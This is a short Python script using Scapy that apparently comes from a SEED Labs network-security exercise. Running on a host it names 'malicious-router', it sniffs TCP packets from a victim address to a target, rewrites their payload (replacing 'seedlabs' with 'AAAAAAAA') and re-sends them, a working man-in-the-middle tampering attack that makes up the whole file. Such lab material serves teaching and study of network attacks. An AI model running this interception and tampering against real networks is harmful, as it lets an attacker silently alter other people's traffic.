#!/usr/bin/env python3
from scapy.all import Ether, IP, TCP, get_if_hwaddr, send, sniff

VICTIM_IP = "10.9.0.5"
TARGET_IP = "192.168.60.5"
LOCAL_MAC = get_if_hwaddr("eth0")


def spoof_pkt(pkt):
    if IP not in pkt or TCP not in pkt or pkt[IP].src != VICTIM_IP or pkt[IP].dst != TARGET_IP:
        return
    if Ether in pkt and pkt[Ether].dst != LOCAL_MAC:
        return

    newpkt = IP(bytes(pkt[IP]))
    del newpkt.chksum
    del newpkt[TCP].payload
    del newpkt[TCP].chksum

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print(f"Original data: {data}")
        newdata = data.replace(b"seedlabs", b"AAAAAAAA")
        send(newpkt / newdata, verbose=False)
    else:
        send(newpkt, verbose=False)


print(f"MITM script starting on malicious-router (mac={LOCAL_MAC})...")
sniff(
    iface="eth0",
    filter=f"tcp and src host {VICTIM_IP} and dst host {TARGET_IP}",
    prn=spoof_pkt,
)
